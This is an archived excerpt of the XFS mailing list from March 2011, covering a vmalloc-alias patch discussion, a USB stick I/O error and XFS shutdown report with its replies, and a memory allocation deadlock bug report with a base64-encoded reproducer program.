(localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id BE00312AFD35 for ; Fri, 18 Mar 2011 07:24:27 -0700 (PDT) Received: from zene.cmpxchg.org (zene.cmpxchg.org [85.214.230.12]) by cuda.sgi.com with ESMTP id sbup2GqSiXbh4bV8 for ; Fri, 18 Mar 2011 07:24:27 -0700 (PDT) Received: from 178-25-97-198-dynip.superkabel.de ([178.25.97.198] helo=chigurh.home.cmpxchg.org) by zene.cmpxchg.org with esmtpsa (TLSv1:AES128-SHA:128) (Exim 4.72) (envelope-from ) id 1Q0abE-0002N7-6M; Fri, 18 Mar 2011 14:24:20 +0000 Date: Fri, 18 Mar 2011 15:24:14 +0100 From: Johannes Weiner To: Christoph Hellwig Cc: Dave Chinner , xfs@oss.sgi.com, npiggin@kernel.dk, linux-mm@kvack.org X-ASG-Orig-Subj: Re: [PATCH] xfs: flush vmap aliases when mapping fails Subject: Re: [PATCH] xfs: flush vmap aliases when mapping fails Message-ID: <20110318142414.GV2140@cmpxchg.org> References: <1299713876-7747-1-git-send-email-david@fromorbit.com> <20110310073751.GB25374@infradead.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20110310073751.GB25374@infradead.org> X-Barracuda-Connect: zene.cmpxchg.org[85.214.230.12] X-Barracuda-Start-Time: 1300458278 X-Barracuda-Bayes: INNOCENT GLOBAL 0.0000 1.0000 -2.0210 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Barracuda-Spam-Score: -2.02 X-Barracuda-Spam-Status: No, SCORE=-2.02 using per-user scores of TAG_LEVEL=2.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.1 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.58260 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean On Thu, Mar 10, 2011 at 02:37:51AM -0500, Christoph Hellwig wrote: > On Thu, Mar 10, 2011 at 10:37:56AM +1100, Dave Chinner wrote: > > From: Dave Chinner > > > > On 32 bit systems, vmalloc space is limited and XFS can chew through > > it quickly as the vmalloc space is lazily freed. This can result in > > failure to map buffers, even when there is apparently large amounts > > of vmalloc space available. Hence, if we fail to map a buffer, purge > > the aliases that have not yet been freed to hopefuly free up enough > > vmalloc space to allow a retry to succeed. > > IMHO this should be done by vm_map_ram internally. If we can't get the > core code fixes we can put this in as a last resort. Agreed, this should be fixed in the vmalloc-ator. It is already supposed to purge the lazy-freed mappings before it fails an allocation, I am trying to figure out what's going on. Your proposed workaround looks fine to me until vmalloc is fixed. From jpiszcz@lucidpixels.com Fri Mar 18 10:05:51 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.8 required=5.0 tests=BAYES_00,J_CHICKENPOX_27 autolearn=no version=3.4.0-r929098 Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with ESMTP id p2IF5klJ040591 for ; Fri, 18 Mar 2011 10:05:51 -0500 X-ASG-Debug-ID: 1300460920-6ded009d0000-NocioJ X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from lucidpixels.com (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id D4E161598F84 for ; Fri, 18 Mar 2011 08:08:41 -0700 (PDT) Received: from lucidpixels.com (lucidpixels.com [75.144.35.66]) by cuda.sgi.com with ESMTP id VrpApLzdyP5rJ4Cg for ; Fri, 18 Mar 2011 08:08:41 -0700 (PDT) Received: by lucidpixels.com (Postfix, from userid 1001) id 78B9112835F; Fri, 18 Mar 2011 11:08:40 -0400 (EDT) Date: Fri, 18 Mar 2011 11:08:40 -0400 (EDT) From: Justin Piszcz To: linux-usb@vger.kernel.org, xfs@oss.sgi.com, linux-kernel@vger.kernel.org cc: Alan Piszcz X-ASG-Orig-Subj: 2.6.38: XFS/USB/HW issue, or failing USB stick? Subject: 2.6.38: XFS/USB/HW issue, or failing USB stick? Message-ID: User-Agent: Alpine 2.02 (DEB 1266 2009-07-14) MIME-Version: 1.0 Content-Type: TEXT/PLAIN; format=flowed; charset=US-ASCII X-Barracuda-Connect: lucidpixels.com[75.144.35.66] X-Barracuda-Start-Time: 1300460921 X-Barracuda-Bayes: INNOCENT GLOBAL 0.0000 1.0000 -2.0210 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Barracuda-Spam-Score: -2.02 X-Barracuda-Spam-Status: No, SCORE=-2.02 using per-user scores of TAG_LEVEL=2.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.1 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.58264 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean Hi, I can write to just about the entire USB stick, with no errors: atom:~# df -h Filesystem Size Used Avail Use% Mounted on /dev/sda2 5.8G 1.5G 4.3G 26% / tmpfs 2.0G 0 2.0G 0% /lib/init/rw udev 10M 140K 9.9M 2% /dev tmpfs 2.0G 0 2.0G 0% /dev/shm atom:~# cd / atom:/# ls bin cdrom etc lib media nfs proc sbin srv tmp var boot dev home lib64 mnt opt root selinux sys usr atom:/# dd if=/dev/zero of=bigfile bs=1M count=4000 4000+0 records in 4000+0 records out 4194304000 bytes (4.2 GB) copied, 135.536 s, 30.9 MB/s atom:/# df -h Filesystem Size Used Avail Use% Mounted on /dev/sda2 5.8G 5.4G 350M 95% / tmpfs 2.0G 0 2.0G 0% /lib/init/rw udev 10M 140K 9.9M 2% /dev tmpfs 2.0G 0 2.0G 0% /dev/shm atom:/# rm bigfile However, after some amount of time, the errors occur below, is this USB stick failing? Since it has no SMART, is there any other way to verify the 'health' of a USB stick? Mar 18 07:55:12 atom [ 10.034310] e1000e 0000:03:00.0: eth1: 10/100 speed: disabling TSO [ .. no errors .. ] Mar 18 08:32:44 atom [ 2261.883848] usb 1-1: USB disconnect, address 2 Mar 18 08:32:44 atom [ 2261.884465] Buffer I/O error on device sda2, logical block 1317256 Mar 18 08:32:44 atom [ 2261.884525] lost page write due to I/O error on sda2 Mar 18 08:32:44 atom [ 2261.884713] Buffer I/O error on device sda2, logical block 1307821 Mar 18 08:32:44 atom [ 2261.884764] lost page write due to I/O error on sda2 Mar 18 08:33:06 atom [ 2283.744165] sd 6:0:0:0: Device offlined - not ready after error recovery Mar 18 08:33:06 atom [ 2283.744264] sd 6:0:0:0: [sda] Unhandled error code Mar 18 08:33:06 atom [ 2283.744298] sd 6:0:0:0: [sda] Mar 18 08:33:06 atom Result: hostbyte=DID_NO_CONNECT driverbyte=DRIVER_OK Mar 18 08:33:06 atom [ 2283.744356] sd 6:0:0:0: [sda] CDB: Mar 18 08:33:06 atom Write(10) Mar 18 08:33:06 atom : Mar 18 08:33:06 atom 2a Mar 18 08:33:06 atom 00 Mar 18 08:33:06 atom 00 Mar 18 08:33:06 atom 99 Mar 18 08:33:06 atom 0f Mar 18 08:33:06 atom 7e Mar 18 08:33:06 atom 00 Mar 18 08:33:06 atom 00 Mar 18 08:33:06 atom 02 Mar 18 08:33:06 atom 00 Mar 18 08:33:06 atom Mar 18 08:33:06 atom [ 2283.744450] end_request: I/O error, dev sda, sector 10030974 Mar 18 08:33:06 atom [ 2283.744544] I/O error in filesystem ("sda2") meta-data dev sda2 block 0x5c05c5 ("xlog_iodone") error 5 buf count 1024 Mar 18 08:33:06 atom Mar 18 08:33:06 atom [ 2283.744591] xfs_force_shutdown(sda2,0x2) called from line 893 of file fs/xfs/xfs_log.c. Return address = 0xffffffff811c9834 Mar 18 08:33:06 atom Mar 18 08:33:06 atom [ 2283.744669] Filesystem sda2: Log I/O Error Detected. Shutting down filesystem: sda2 Mar 18 08:33:06 atom Mar 18 08:33:06 atom [ 2283.744732] Please umount the filesystem, and rectify the problem(s) Mar 18 08:33:06 atom Mar 18 08:33:06 atom [ 2283.744779] Buffer I/O error on device sda2, logical block 1318284 Mar 18 08:33:06 atom [ 2283.744831] lost page write due to I/O error on sda2 Mar 18 08:33:06 atom [ 2283.745659] Filesystem sda2: xfs_log_force: error 5 returned. Mar 18 08:33:06 atom Mar 18 08:33:06 atom [ 2283.746109] Filesystem sda2: xfs_log_force: error 5 returned. Mar 18 08:33:06 atom Mar 18 08:33:06 atom [ 2283.746168] xfs_force_shutdown(sda2,0x1) called from line 1111 of file fs/xfs/linux-2.6/xfs_buf.c. Return address = 0xffffffff811e1e1c Mar 18 08:33:06 atom Mar 18 08:33:06 atom [ 2283.963059] usb 1-1: new high speed USB device using ehci_hcd and address 4 Mar 18 08:33:06 atom [ 2284.080647] usb 1-1: New USB device found, idVendor=0325, idProduct=ac02 Mar 18 08:33:06 atom [ 2284.080707] usb 1-1: New USB device strings: Mfr=1, Product=2, SerialNumber=3 Mar 18 08:33:06 atom [ 2284.080752] usb 1-1: Product: R2_TURBO Mar 18 08:33:06 atom [ 2284.080794] usb 1-1: Manufacturer: OCZ Technology Mar 18 08:33:06 atom [ 2284.080831] usb 1-1: SerialNumber: (removed) Mar 18 08:33:06 atom [ 2284.082082] scsi7 : usb-storage 1-1:1.0 Mar 18 08:33:07 atom [ 2285.083417] scsi 7:0:0:0: Direct-Access OCZ R2_TURBO 1100 PQ: 0 ANSI: 0 CCS Mar 18 08:33:07 atom [ 2285.085539] sd 7:0:0:0: [sdb] 16056320 512-byte logical blocks: (8.22 GB/7.65 GiB) Mar 18 08:33:07 atom [ 2285.086520] sd 7:0:0:0: [sdb] Write Protect is off Mar 18 08:33:07 atom [ 2285.089383] sd 7:0:0:0: [sdb] No Caching mode page present Mar 18 08:33:07 atom [ 2285.089435] sd 7:0:0:0: [sdb] Assuming drive cache: write through Mar 18 08:33:07 atom [ 2285.094025] sd 7:0:0:0: [sdb] No Caching mode page present Mar 18 08:33:07 atom [ 2285.094071] sd 7:0:0:0: [sdb] Assuming drive cache: write through Mar 18 08:33:07 atom [ 2285.094888] sdb: sdb1 sdb2 Mar 18 08:33:07 atom [ 2285.097544] sd 7:0:0:0: [sdb] No Caching mode page present Mar 18 08:33:07 atom [ 2285.097602] sd 7:0:0:0: [sdb] Assuming drive cache: write through Mar 18 08:33:07 atom [ 2285.097647] sd 7:0:0:0: [sdb] Attached SCSI removable disk Mar 18 08:33:36 atom [ 2313.744037] Filesystem sda2: xfs_log_force: error 5 returned. Mar 18 08:34:06 atom Mar 18 08:34:06 atom [ 2343.745039] Filesystem sda2: xfs_log_force: error 5 returned. Mar 18 08:34:36 atom Mar 18 08:34:36 atom [ 2373.745039] Filesystem sda2: xfs_log_force: error 5 returned. Mar 18 08:35:06 atom From tim@moocowproductions.org Fri Mar 18 10:16:16 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.8 required=5.0 tests=BAYES_00,J_CHICKENPOX_27 autolearn=no version=3.4.0-r929098 Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with SMTP id p2IFGBoW041031 for ; Fri, 18 Mar 2011 10:16:16 -0500 X-ASG-Debug-ID: 1300461547-6eed022a0000-NocioJ X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from mail.moocowproductions.org (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with SMTP id 3BC4D360EBE for ; Fri, 18 Mar 2011 08:19:07 -0700 (PDT) Received: from mail.moocowproductions.org (mail.moocowproductions.org [50.56.82.78]) by cuda.sgi.com with SMTP id NQkmkBc07wKCjq17 for ; Fri, 18 Mar 2011 08:19:07 -0700 (PDT) Received: from macdawgpro.moocow.home (108-80-64-153.lightspeed.snantx.sbcglobal.net [108.80.64.153]) by mail.moocowproductions.org (Postfix) with ESMTPSA id 12496E4B82; Fri, 18 Mar 2011 10:19:06 -0500 (CDT) X-ASG-Orig-Subj: Re: 2.6.38: XFS/USB/HW issue, or failing USB stick? Subject: Re: 2.6.38: XFS/USB/HW issue, or failing USB stick? Mime-Version: 1.0 (Apple Message framework v1082) Content-Type: text/plain; charset=us-ascii From: Tim Soderstrom In-Reply-To: Date: Fri, 18 Mar 2011 10:19:05 -0500 Cc: linux-usb@vger.kernel.org, xfs@oss.sgi.com, linux-kernel@vger.kernel.org, Alan Piszcz Content-Transfer-Encoding: quoted-printable Message-Id: <30463798-7ACB-4248-8CDC-CEFCB6ABC0BE@moocowproductions.org> References: To: Justin Piszcz X-Mailer: Apple Mail (2.1082) X-Barracuda-Connect: mail.moocowproductions.org[50.56.82.78] X-Barracuda-Start-Time: 1300461548 X-Barracuda-Bayes: INNOCENT GLOBAL 0.0000 1.0000 -2.0210 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Barracuda-Spam-Score: -2.02 X-Barracuda-Spam-Status: No, SCORE=-2.02 using per-user scores of TAG_LEVEL=2.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.1 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.58263 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean On Mar 18, 2011, at 10:08 AM, Justin Piszcz wrote: > Hi, >=20 > I can write to just about the entire USB stick, with no errors: >=20 > atom:~# df -h > Filesystem Size Used Avail Use% Mounted on > /dev/sda2 5.8G 1.5G 4.3G 26% / > tmpfs 2.0G 0 2.0G 0% /lib/init/rw > udev 10M 140K 9.9M 2% /dev > tmpfs 2.0G 0 2.0G 0% /dev/shm > atom:~# cd / > atom:/# ls > bin cdrom etc lib media nfs proc sbin srv tmp var > boot dev home lib64 mnt opt root selinux sys usr > atom:/# dd if=3D/dev/zero of=3Dbigfile bs=3D1M count=3D4000 > 4000+0 records in > 4000+0 records out > 4194304000 bytes (4.2 GB) copied, 135.536 s, 30.9 MB/s > atom:/# df -h > Filesystem Size Used Avail Use% Mounted on > /dev/sda2 5.8G 5.4G 350M 95% / > tmpfs 2.0G 0 2.0G 0% /lib/init/rw > udev 10M 140K 9.9M 2% /dev > tmpfs 2.0G 0 2.0G 0% /dev/shm > atom:/# rm bigfile >=20 > However, after some amount of time, the errors occur below, is this = USB > stick failing? Since it has no SMART, is there any other way to = verify > the 'health' of a USB stick? What prompted you to go with XFS over, say, ext2? The journal will = generally cause quite a bit more writes onto your USB device. I use ext2 = on my CF card in my NAS for that reason (the spinning media is on XFS of = course). I know that's not an answer to your problem but thought I would = add it as a suggestion :) Tim From stern+4d93cd5c@rowland.harvard.edu Fri Mar 18 10:36:36 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.8 required=5.0 tests=BAYES_00,J_CHICKENPOX_27 autolearn=no version=3.4.0-r929098 Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with SMTP id p2IFaV4G041753 for ; Fri, 18 Mar 2011 10:36:36 -0500 X-ASG-Debug-ID: 1300462766-7ca202050000-NocioJ X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from iolanthe.rowland.org (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with SMTP id 7AE5A1D4E911 for ; Fri, 18 Mar 2011 08:39:27 -0700 (PDT) Received: from iolanthe.rowland.org (iolanthe.rowland.org [192.131.102.54]) by cuda.sgi.com with SMTP id WqqAlejn15QwstNU for ; Fri, 18 Mar 2011 08:39:27 -0700 (PDT) Received: (qmail 3009 invoked by uid 2102); 18 Mar 2011 11:39:26 -0400 Received: from localhost (sendmail-bs@127.0.0.1) by localhost with SMTP; 18 Mar 2011 11:39:26 -0400 Date: Fri, 18 Mar 2011 11:39:26 -0400 (EDT) From: Alan Stern X-X-Sender: stern@iolanthe.rowland.org To: Justin Piszcz cc: linux-usb@vger.kernel.org, , , Alan Piszcz X-ASG-Orig-Subj: Re: 2.6.38: XFS/USB/HW issue, or failing USB stick? Subject: Re: 2.6.38: XFS/USB/HW issue, or failing USB stick? In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Barracuda-Connect: iolanthe.rowland.org[192.131.102.54] X-Barracuda-Start-Time: 1300462767 X-Barracuda-Bayes: INNOCENT GLOBAL 0.0000 1.0000 -2.0210 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Barracuda-Spam-Score: -2.02 X-Barracuda-Spam-Status: No, SCORE=-2.02 using per-user scores of TAG_LEVEL=2.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.1 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.58265 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean On Fri, 18 Mar 2011, Justin Piszcz wrote: > Hi, > > I can write to just about the entire USB stick, with no errors: > > atom:~# df -h > Filesystem Size Used Avail Use% Mounted on > /dev/sda2 5.8G 1.5G 4.3G 26% / > tmpfs 2.0G 0 2.0G 0% /lib/init/rw > udev 10M 140K 9.9M 2% /dev > tmpfs 2.0G 0 2.0G 0% /dev/shm > atom:~# cd / > atom:/# ls > bin cdrom etc lib media nfs proc sbin srv tmp var > boot dev home lib64 mnt opt root selinux sys usr > atom:/# dd if=/dev/zero of=bigfile bs=1M count=4000 > 4000+0 records in > 4000+0 records out > 4194304000 bytes (4.2 GB) copied, 135.536 s, 30.9 MB/s > atom:/# df -h > Filesystem Size Used Avail Use% Mounted on > /dev/sda2 5.8G 5.4G 350M 95% / > tmpfs 2.0G 0 2.0G 0% /lib/init/rw > udev 10M 140K 9.9M 2% /dev > tmpfs 2.0G 0 2.0G 0% /dev/shm > atom:/# rm bigfile > > However, after some amount of time, the errors occur below, is this USB > stick failing? Since it has no SMART, is there any other way to verify > the 'health' of a USB stick? None that I know of. > Mar 18 07:55:12 atom [ 10.034310] e1000e 0000:03:00.0: eth1: 10/100 speed: disabling TSO > > [ .. no errors .. ] > > Mar 18 08:32:44 atom [ 2261.883848] usb 1-1: USB disconnect, address 2 > Mar 18 08:32:44 atom [ 2261.884465] Buffer I/O error on device sda2, logical block 1317256 The stick didn't "fail" in any obvious way, but for some reason it was disconnected from the USB bus. (If it initiated that disconnect by itself, I guess you could consider that a failure.) Maybe it was something as simple as overheating causing a loss of electrical contact between the connector and the pins in the USB port. ... > Mar 18 08:33:06 atom [ 2283.963059] usb 1-1: new high speed USB device using ehci_hcd and address 4 > Mar 18 08:33:06 atom [ 2284.080647] usb 1-1: New USB device found, idVendor=0325, idProduct=ac02 > Mar 18 08:33:06 atom [ 2284.080707] usb 1-1: New USB device strings: Mfr=1, Product=2, SerialNumber=3 > Mar 18 08:33:06 atom [ 2284.080752] usb 1-1: Product: R2_TURBO > Mar 18 08:33:06 atom [ 2284.080794] usb 1-1: Manufacturer: OCZ Technology > Mar 18 08:33:06 atom [ 2284.080831] usb 1-1: SerialNumber: (removed) And then 22 seconds later it reconnected. Alan Stern From Sean.Noonan@twosigma.com Fri Mar 18 10:43:31 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.8 required=5.0 tests=BAYES_00,J_CHICKENPOX_48 autolearn=no version=3.4.0-r929098 Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with ESMTP id p2IFhQoM042129 for ; Fri, 18 Mar 2011 10:43:31 -0500 X-ASG-Debug-ID: 1300463167-4f0902e50000-w1Z2WR X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from mx5.twosigma.com (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id 2DBEFAF53A8 for ; Fri, 18 Mar 2011 08:46:08 -0700 (PDT) Received: from mx5.twosigma.com (mx5.twosigma.com [208.77.212.35]) by cuda.sgi.com with ESMTP id 6brPPN1GiYgMZTHt for ; Fri, 18 Mar 2011 08:46:08 -0700 (PDT) Received: by mx5.twosigma.com (Postfix, from userid 108) id C648B3DDA83; Fri, 18 Mar 2011 15:46:06 +0000 (UTC) Received: from MSXAOA9.twosigma.com (nfw2-1-dmz.twosigma.com [38.117.134.174]) by mx5.twosigma.com (Postfix) with ESMTP id B19A63DDA7F for ; Fri, 18 Mar 2011 15:46:05 +0000 (UTC) Received: from msxaoa6.twosigma.com ([fe80::5d02:8f37:f2d4:e384]) by MSXAOA9.twosigma.com ([::1]) with mapi; Fri, 18 Mar 2011 11:46:05 -0400 From: Sean Noonan To: "'linux-xfs@oss.sgi.com'" CC: Martin Bligh , Trammell Hudson Date: Fri, 18 Mar 2011 11:46:04 -0400 X-ASG-Orig-Subj: XFS memory allocation deadlock in 2.6.38 Subject: XFS memory allocation deadlock in 2.6.38 Thread-Topic: XFS memory allocation deadlock in 2.6.38 Thread-Index: Acvlg5bPEZfcOKXrRzaJSHBjGQAhJA== Message-ID: <081DDE43F61F3D43929A181B477DCA95639B52E8@MSXAOA6.twosigma.com> Accept-Language: en-US Content-Language: en-US X-MS-Has-Attach: yes X-MS-TNEF-Correlator: acceptlanguage: en-US Content-Type: multipart/mixed; boundary="_002_081DDE43F61F3D43929A181B477DCA95639B52E8MSXAOA6twosigma_" MIME-Version: 1.0 X-Barracuda-Connect: mx5.twosigma.com[208.77.212.35] X-Barracuda-Start-Time: 1300463182 X-Barracuda-Bayes: INNOCENT GLOBAL 0.0000 1.0000 -2.0210 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Barracuda-Spam-Score: -2.02 X-Barracuda-Spam-Status: No, SCORE=-2.02 using per-user scores of TAG_LEVEL=2.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.1 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.58266 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean --_002_081DDE43F61F3D43929A181B477DCA95639B52E8MSXAOA6twosigma_ Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable Using the attached program, we are able to reproduce this bug reliably. $ make vmtest $ ./vmtest /xfs/hugefile.dat $(( 16 * 1024 * 1024 * 1024 )) # vmtest /xfs/hugefile.dat: mapped 17179869184 bytes in 33822066943 ticks 749660: avg 13339 max 234667 ticks 371945: avg 26885 max 281616 ticks --- At this point, we see the following on the console: [593492.694806] XFS: possible memory allocation deadlock in kmem_alloc (mod= e:0x250) [593506.724367] XFS: possible memory allocation deadlock in kmem_alloc (mod= e:0x250) [593524.837717] XFS: possible memory allocation deadlock in kmem_alloc (mod= e:0x250) [593556.742386] XFS: possible memory allocation deadlock in kmem_alloc (mod= e:0x250) This is the same message presented in http://oss.sgi.com/bugzilla/show_bug.cgi?id=3D410 We started testing with 2.6.38-rc7 and have seen this bug through to the .0= release. This does not appear to be present in 2.6.33, but we have not do= ne testing in between. We have tested with ext4 and do not encounter this = bug. CONFIG_XFS_FS=3Dy CONFIG_XFS_QUOTA=3Dy CONFIG_XFS_POSIX_ACL=3Dy CONFIG_XFS_RT=3Dy # CONFIG_XFS_DEBUG is not set # CONFIG_VXFS_FS is not set Here is the stack from the process: [] call_rwsem_down_write_failed+0x13/0x20 [] xfs_ilock+0x7e/0x110 [] __xfs_get_blocks+0x8f/0x4e0 [] xfs_get_blocks+0x11/0x20 [] __block_write_begin+0x1ee/0x5b0 [] block_page_mkwrite+0x9d/0xf0 [] xfs_vm_page_mkwrite+0x15/0x20 [] do_wp_page+0x54b/0x820 [] handle_pte_fault+0x3cc/0x820 [] handle_mm_fault+0x175/0x2f0 [] do_page_fault+0x159/0x470 [] page_fault+0x1f/0x30 [] 0xffffffffffffffff # uname -a Linux testhost 2.6.38 #2 SMP PREEMPT Fri Mar 18 15:00:59 GMT 2011 x86_64 GN= U/Linux Please let me know if additional information is required. Thanks! Sean=20 --_002_081DDE43F61F3D43929A181B477DCA95639B52E8MSXAOA6twosigma_ Content-Type: text/plain; name="vmtest.c" Content-Description: vmtest.c Content-Disposition: attachment; filename="vmtest.c"; size=2185; creation-date="Fri, 18 Mar 2011 10:58:44 GMT"; modification-date="Fri, 18 Mar 2011 08:50:25 GMT" Content-Transfer-Encoding: base64 I2luY2x1ZGUgPHN0ZGlvLmg+CiNpbmNsdWRlIDxzdGRsaWIuaD4KI2luY2x1ZGUgPHN0ZGludC5o PgojaW5jbHVkZSA8c3lzL21tYW4uaD4KI2luY2x1ZGUgPHN5cy90eXBlcy5oPgojaW5jbHVkZSA8 c3lzL3N0YXQuaD4KI2luY2x1ZGUgPHVuaXN0ZC5oPgojaW5jbHVkZSA8c3RkaW50Lmg+CiNpbmNs dWRlIDxpbnR0eXBlcy5oPgojaW5jbHVkZSA8ZXJybm8uaD4KI2luY2x1ZGUgPGZjbnRsLmg+CiNp bmNsdWRlIDxlcnIuaD4KCgpzdGF0aWMgaW5saW5lIHVpbnQ2NF90CnJkdHNjKHZvaWQpCnsKICAg IHVpbnQzMl90IGxvdywgaGlnaDsKICAgIF9fYXNtX18gX192b2xhdGlsZV9fKCJyZHRzYyIgOiAi PWEiKGxvdyksICI9ZCIoaGlnaCkpOwogICAgcmV0dXJuIGxvdyB8ICgodWludDY0X3QpIGhpZ2gp IDw8IDMyOwp9CgoKdm9pZCAqCm1tYXBmaWxlKAogICAgY29uc3QgY2hhciAqIGZpbGVuYW1lLAog ICAgdWludDY0X3QgbGVuCikKewogICAgaW50IHBlcm1zID0gMDY2NjsKICAgIGludCBvcGVuX2Zs YWcgPSBPX1JEV1IgfCBPX0NSRUFUOwogICAgaW50IG1tYXBfZmxhZ3MgPSBQUk9UX1JFQUQgfCBQ Uk9UX1dSSVRFOwoKICAgIGNvbnN0IGludCBmZCA9IG9wZW4oZmlsZW5hbWUsIG9wZW5fZmxhZywg cGVybXMpOwogICAgaWYgKGZkIDwgMCkKCWdvdG8gZmFpbDsKCiAgICAvLyBFbnN1cmUgdGhhdCB0 aGUgZmlsZSBpcyBlbXB0eSBhbmQgdGhlIHJpZ2h0IHNpemUKICAgIGlmIChmdHJ1bmNhdGUoZmQs IDApIDwgMCkKCWdvdG8gZmFpbDsKCiAgICBpZiAoZnRydW5jYXRlKGZkLCBsZW4pIDwgMCkKCWdv dG8gZmFpbDsKCiAgICAvLyBNYXAgdGhlIGVudGlyZSBhY3R1YWwgbGVuZ3RoIG9mIHRoZSBmaWxl CiAgICB2b2lkICogY29uc3QgYmFzZSA9IG1tYXAoCglOVUxMLAoJbGVuLAoJbW1hcF9mbGFncywK CU1BUF9TSEFSRUQgfCBNQVBfUE9QVUxBVEUsCglmZCwKCTAKICAgICk7CiAgICBpZiAoYmFzZSA9 PSBNQVBfRkFJTEVEKQoJZ290byBmYWlsOwoKICAgIGNsb3NlKGZkKTsKICAgIHJldHVybiBiYXNl OwoKZmFpbDoKICAgIGVycigxLCAiJXM6IFVuYWJsZSB0byBtYXAgJSJQUkl1NjQiIGJ5dGVzIiwg ZmlsZW5hbWUsIGxlbik7Cn0KCgppbnQgbWFpbigKICAgIGludCBhcmdjLAogICAgY2hhciAqKiBh cmd2CikKewogICAgY29uc3QgY2hhciAqIGZpbGVuYW1lID0gYXJndlsxXTsKICAgIGNvbnN0IHVp bnQ2NF90IGxlbiA9IGFyZ2MgPiAyID8gc3RydG91bChhcmd2WzJdLCBOVUxMLCAwKSA6ICg1dWwg PDwgMzApOwogICAgY29uc3QgdWludDY0X3QgbWF4X2luZGV4ID0gbGVuIC8gc2l6ZW9mKHVpbnQ2 NF90KTsKCiAgICB1aW50NjRfdCBtbWFwX3RpbWUgPSAtcmR0c2MoKTsKICAgIHVpbnQ2NF90ICog Y29uc3QgYnVmID0gbW1hcGZpbGUoZmlsZW5hbWUsIGxlbik7CiAgICBtbWFwX3RpbWUgKz0gcmR0 c2MoKTsKICAgIGZwcmludGYoc3RkZXJyLCAiJXM6IG1hcHBlZCAlIlBSSXU2NCIgYnl0ZXMgaW4g JSJQUkl1NjQiIHRpY2tzXG4iLAoJZmlsZW5hbWUsCglsZW4sCgltbWFwX3RpbWUKICAgICk7Cgog ICAgd2hpbGUgKDEpCiAgICB7Cgl1aW50NjRfdCBtYXggPSAwOwoJdWludDY0X3Qgc3VtID0gMDsK CXVpbnQ2NF90IGk7Cgljb25zdCB1aW50NjRfdCBsb29wX3N0YXJ0ID0gcmR0c2MoKTsKCWNvbnN0 IHVpbnQ2NF90IGl0ZXJzID0gMSA8PCAzMDsKCgl1aW50NjRfdCBzdGFydCA9IGxvb3Bfc3RhcnQ7 Cglmb3IgKGkgPSAwIDsgaSA8IGl0ZXJzIDsgaSsrKQoJewoJICAgIHVpbnQ2NF90IGkgPSBscmFu ZDQ4KCkgJSBtYXhfaW5kZXg7CgkgICAgYnVmW2ldICs9IHN0YXJ0OwoKCSAgICB1aW50NjRfdCBl bmQgPSByZHRzYygpOwoJICAgIGNvbnN0IHVpbnQ2NF90IGRlbHRhID0gZW5kIC0gc3RhcnQ7Cgkg 